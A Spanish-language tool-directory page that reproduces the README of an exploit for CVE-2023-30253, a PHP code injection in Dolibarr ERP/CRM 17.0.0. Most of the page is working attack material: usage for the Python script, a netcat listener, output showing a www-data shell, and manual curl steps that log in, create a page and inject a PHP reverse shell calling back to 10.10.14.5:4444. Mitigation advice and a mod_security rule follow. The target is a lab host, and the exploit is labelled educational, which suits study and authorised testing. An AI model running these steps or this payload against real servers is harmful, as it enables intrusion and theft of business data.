Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2023-30253-exploit — CVE-2023-30253 — Dolibarr ERP/CRM 17.0.0 RCE mediante inyección de código PHP (exploit educativo) | Kitploit
Herramientas/GitHubGitHub/jeanback1/cve-2023-30253-exploit
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónDesarrollo de Payloads
GitHubjeanback1/cve-2023-30253-exploit

CVE-2023-30253-exploit

CVE-2023-30253 — Dolibarr ERP/CRM 17.0.0 RCE mediante inyección de código PHP (exploit educativo)

Ver Repositorio
hace 2 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Sitio web

CVE-2023-30253 — Dolibarr ERP/CRM 17.0.0 Remote Code Execution

Python 3.8+ License CVSS

Exploit de inyección de código PHP para Dolibarr ERP/CRM v17.0.0 que permite obtener una shell reversa como usuario www-data mediante el módulo Website/CMS.

⚠️ Solo para uso educativo y auditorías con autorización.


📑 Índice

  • ¿Qué es CVE-2023-30253?
  • ¿Cómo funciona la vulnerabilidad?
  • Impacto
  • ¿Qué hace este exploit?
  • Requisitos
  • Instalación
  • Uso
  • Ejemplo práctico
  • El exploit paso a paso
  • Mitigación
  • Referencias

🔍 ¿Qué es CVE-2023-30253?

CVE-2023-30253 es una vulnerabilidad de inyección de código PHP (CWE-94: Improper Control of Generation of Code) en Dolibarr ERP/CRM versiones anteriores a 17.0.1.

Fue descubierta y reportada por el equipo de Swascan (ahora Hacktivesecurity) en mayo de 2023. La vulnerabilidad reside en el módulo Website/CMS, que permite a usuarios autenticados crear y gestionar sitios web dentro de Dolibarr.


⚙️ ¿Cómo funciona la vulnerabilidad?

Dolibarr implementa un filtro para evitar que los usuarios inyecten código PHP en el contenido de las páginas del módulo Website. Sin embargo, este filtro tiene un defecto crítico: es case-sensitive.

root@kitploit:~
// Código vulnerable (simplificado) en Dolibarr 17.0.0
if (preg_match('/<\?php/i', $content)) {
    // Bloquea solo "<?php" en minúsculas exactas... ¿o no?
    die("PHP code detected!");
}

El filtro busca literalmente la cadena <?php en minúsculas. Pero PHP permite cualquier combinación de mayúsculas y minúsculas para la etiqueta de apertura. Esto significa que:

El exploit usa <?PHP (en mayúsculas) para bypassear el filtro, pero cualquier variante funciona.

Además, el filtro solo se aplica en el momento de guardar el contenido. Al servir la página, Dolibarr pasa el contenido sin sanitización adicional al intérprete de PHP, que ejecuta cualquier código con la etiqueta de apertura <?.


💥 Impacto

Un atacante autenticado puede:

  • Ejecución remota de comandos (RCE) en el servidor
  • Acceder a la base de datos de Dolibarr (clientes, facturas, usuarios)
  • Leer archivos sensibles del sistema (/etc/passwd, configuración)
  • Usar el servidor como punto de pivote para ataques internos
  • Instalar malware, webshells o backdoors persistentes

¿Por qué es crítico? Dolibarr se usa como ERP/CRM empresarial. Una intrusión puede exponer datos de clientes, finanzas, contratos y credenciales internas.


🛠️ ¿Qué hace este exploit?

El exploit automatiza el proceso completo de explotación en 5 pasos:

root@kitploit:~
┌─────────────────────────────────────────────────────────┐
│                   CVE-2023-30253                       │
│                                                         │
│  1. Login          → Autenticarse en Dolibarr           │
│  2. Create Website → Crear un sitio web vacío           │
│  3. Create Page    → Crear una página en el sitio       │
│  4. Inject Shell   → Inyectar PHP reverse shell         │
│  5. Trigger        → Ejecutar el payload                │
│                                                         │
│  Resultado: 🎯 Shell reversa como www-data              │
└─────────────────────────────────────────────────────────┘

Características:

  • ✅ Manejo automático de tokens anti-CSRF
  • ✅ Sesión persistente con cookies
  • ✅ Detección automática del pageid
  • ✅ Modo verbose para depuración
  • ✅ Salida con colores (desactivables)
  • ✅ Payload de reverse shell vía fsockopen + proc_open

📋 Requisitos

  • Python 3.8+
  • requests
  • beautifulsoup4

O simplemente:

root@kitploit:~
pip install -r requirements.txt

📦 Instalación

root@kitploit:~
# Clonar el repositorio
git clone https://github.com/jeanback1/CVE-2023-30253-exploit.git
cd CVE-2023-30253-exploit

# Instalar dependencias
pip install -r requirements.txt

🚀 Uso

root@kitploit:~
python exploit.py <target> <username> <password> <lhost> <lport> [opciones]

Argumentos posicionales:

Opciones:

OpciónDescripción
-v, --verboseMuestra información detallada de depuración
--no-colorDesactiva colores en la salida
-h, --helpMuestra la ayuda y ejemplos

🎯 Ejemplo práctico

Terminal 1 — Iniciar listener de shell reversa

root@kitploit:~
nc -lvnp 4444

Terminal 2 — Ejecutar exploit

root@kitploit:~
python exploit.py http://crm.board.htb admin admin 10.10.14.5 4444 --verbose

Salida esperada

root@kitploit:~
════════════════════════════════════════════════════════
 CVE-2023-30253 — Dolibarr 17.0.0 RCE Exploit
════════════════════════════════════════════════════════

  Target:   http://crm.board.htb
  User:     admin
  LHOST:    10.10.14.5
  LPORT:    4444
  Site ID:  s3a1f2bc

──────────────────────────────────────────────────

[10:45:12] Paso 1/5: Iniciando sesión...
[10:45:12]   ✓ Sesión iniciada correctamente

[10:45:13] Paso 2/5: Creando sitio web...
[10:45:13]   ✓ Sitio web 's3a1f2bc' creado

[10:45:13] Paso 3/5: Creando página en el sitio...
[10:45:13]   ✓ Página creada dentro del sitio

[10:45:14] Paso 4/5: Inyectando reverse shell → 10.10.14.5:4444...
[10:45:14]   ✓ Código PHP inyectado exitosamente

[10:45:14] Paso 5/5: Ejecutando payload (trigger)...

════════════════════════════════════════════════════════
  EXPLOTACIÓN COMPLETADA
════════════════════════════════════════════════════════

  Trigger URL:
  http://crm.board.htb/public/website/index.php?website=s3a1f2bc&pageref=s3a1f2bc

  Instrucciones:
  1. En otra terminal, inicia tu listener:
     nc -lvnp 4444
  2. Accede a la Trigger URL (el exploit ya lo hizo)
  3. Recibirás una shell reversa como www-data

Terminal 1 — Shell obtenida 🎯

root@kitploit:~
Listening on 0.0.0.0 4444
Connection received on 10.129.231.37 52846
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

🔬 El exploit paso a paso

Si prefieres entender el proceso manualmente (sin el script), aquí está el flujo completo:

1. Autenticarse

root@kitploit:~
# Obtener cookies y token CSRF
curl -c cookies.txt http://crm.board.htb/ > /dev/null

# Extraer token
TOKEN=$(curl -s -b cookies.txt http://crm.board.htb/ \
  | grep -oP 'name="anti-csrf-newtoken" content="\K[^"]+')

# Login
curl -b cookies.txt -c cookies.txt \
  -X POST "http://crm.board.htb/index.php?mainmenu=home" \
  -d "token=$TOKEN&actionlogin=login&loginfunction=loginfunction&username=admin&password=admin"

2. Crear un sitio web

root@kitploit:~
TOKEN=$(curl -s -b cookies.txt \
  "http://crm.board.htb/website/index.php?action=createsite" \
  | grep -oP 'name="anti-csrf-newtoken" content="\K[^"]+')

curl -b cookies.txt -X POST \
  "http://crm.board.htb/website/index.php" \
  -d "token=$TOKEN&action=addsite&WEBSITE_REF=misitio&WEBSITE_TITLE=misitio&addcontainer=Create"

⚠️ Lección aprendida: El parámetro action correcto es addsite, no add como aparece en algunos exploits públicos.

3. Crear una página

root@kitploit:~
TOKEN=$(curl -s -b cookies.txt \
  "http://crm.board.htb/website/index.php?website=misitio" \
  | grep -oP 'name="anti-csrf-newtoken" content="\K[^"]+')

curl -b cookies.txt -X POST \
  "http://crm.board.htb/website/index.php" \
  -d "token=$TOKEN&action=addcontainer&website=misitio&WEBSITE_TYPE_CONTAINER=page&WEBSITE_TITLE=TEST&addcontainer=Create"

4. Inyectar código PHP

root@kitploit:~
TOKEN=$(curl -s -b cookies.txt \
  "http://crm.board.htb/website/index.php?website=misitio&pageid=1&action=editsource" \
  | grep -oP 'name="anti-csrf-newtoken" content="\K[^"]+')

PHP='<?PHP $s=fsockopen("10.10.14.5",4444);proc_open("/bin/sh -i",array(0=>$s,1=>$s,2=>$s),$p);?>'

curl -b cookies.txt -X POST \
  "http://crm.board.htb/website/index.php" \
  --data-urlencode "token=$TOKEN" \
  --data-urlencode "action=updatesource" \
  --data-urlencode "website=misitio" \
  --data-urlencode "PAGE_CONTENT=$PHP"

🔑 Clave del ataque: El campo correcto es PAGE_CONTENT, no WEBSITE_CONTENT. Muchos PoCs públicos tienen este error.

5. Ejecutar el payload

root@kitploit:~
curl "http://crm.board.htb/public/website/index.php?website=misitio&pageref=misitio"

🛡️ Mitigación

Para proteger un servidor Dolibarr contra esta vulnerabilidad:

Actualizar (recomendado)

root@kitploit:~
# Actualizar a Dolibarr 17.0.1 o superior
# El parche corrige el filtro para detectar cualquier variante de <?php

Deshabilitar módulo Website

Si no usas el módulo Website/CMS, desactívalo desde:

root@kitploit:~
Home → Setup → Modules → Website → Desactivar

Reglas WAF (mod_security)

root@kitploit:~
# Bloquear cualquier variante de etiquetas PHP en el campo PAGE_CONTENT
SecRule ARGS:PAGE_CONTENT "@rx <\?php|< \?php|<\?PHP|<\?[pP][hH][pP]" \
  "id:1001,phase:2,deny,status:403,msg:'CVE-2023-30253 PHP Injection blocked'"

Principio de mínimo privilegio

  • No uses cuentas administrador para usuarios cotidianos
  • Limita quién puede acceder al módulo Website

📚 Referencias

  • NVD — CVE-2023-30253
  • Swascan Advisory — Dolibarr 17.0.0 Analysis
  • Dolibarr GitHub — Commit del parche
  • CWE-94: Code Injection
  • Hacktivesecurity — Reporte Original

📝 Disclaimer

Este proyecto es creado con fines educativos y de investigación en seguridad informática. El uso de este exploit contra sistemas sin autorización explícita es ilegal y éticamente reprobable.

Como profesional de ciberseguridad, creo firmemente en:

  • La divulgación responsable de vulnerabilidades
  • El hacking ético con autorización
  • Compartir conocimiento para mejorar la seguridad colectiva

Creado por Jean Carlos
Estudiante de Ciberseguridad | Pentesting | CTF Player
CVE-2021-3560 • CVE-2023-27163 • CVE-2024-46986 • CVE-2025-2304

Descargar herramienta
CampoValor
CVECVE-2023-30253
CVSS v3.18.8 (HIGH)
VectorAV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
TipoCWE-94 — Code Injection
Software afectadoDolibarr ERP/CRM < 17.0.1
PrivilegiosUsuario autenticado (cualquier rol)
ParcheDolibarr 17.0.1 — commit 4f6055c
Etiqueta¿Filtrada?¿Ejecutada por PHP?
<?php ... ?>✅✅
<?PHP ... ?>❌✅
<?Php ... ?>❌✅
<?pHp ... ?>❌✅
ArgumentoDescripciónEjemplo
targetURL base de Dolibarrhttp://crm.board.htb
usernameUsuario de Dolibarradmin
passwordContraseña de Dolibarradmin
lhostTu IP (donde recibirás la shell)10.10.14.5
lportTu puerto (donde recibirás la shell)4444